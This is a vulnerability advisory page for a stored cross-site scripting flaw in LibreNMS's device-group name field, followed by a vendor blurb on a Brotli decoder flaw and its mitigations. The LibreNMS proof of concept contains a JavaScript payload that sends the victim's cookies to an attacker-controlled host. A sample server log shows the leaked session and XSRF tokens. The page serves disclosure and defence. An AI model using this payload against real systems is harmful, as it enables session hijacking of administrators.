CVE-2026-26991

EUVD-2026-8340 · Published Feb 18, 2026

LibreNMS /device-groups name Stored Cross-Site Scripting

Summary

/device-groups name Stored Cross-Site Scripting

HTTP POST
Request-URI(s): "/device-groups"
Vulnerable parameter(s): "name"
Attacker must be authenticated with "admin" privileges.
When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.

Details

The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters
or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/device-group/index.blade.php:

@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored
cross-site scripting.

PoC

Login
Select Devices > Manage Groups
Select New Device Group
Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
'.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
Select "access_points.accesspoint_id" as the Conditional input
Input 1 into the Conditional value input box
Select Save
Select the Delete Icon for the newly created Device Group
Select OK
The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled
server, leaking the user's cookies.

Impact

Attacker Controlled server's logs:

192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] "GET /cookie-
jqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai

l%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh

LnQxXHlpw3abw4C74y%22%5D;%20XSRF-
TOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL

Z2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj
BLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0
ZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG
I4IiwidGFnIjoiIn0%3D HTTP/1.1" 404 492 "http://192.168.1.121/" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36"

Technologies

Librenms Librenms

Weaknesses

CWE-79

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.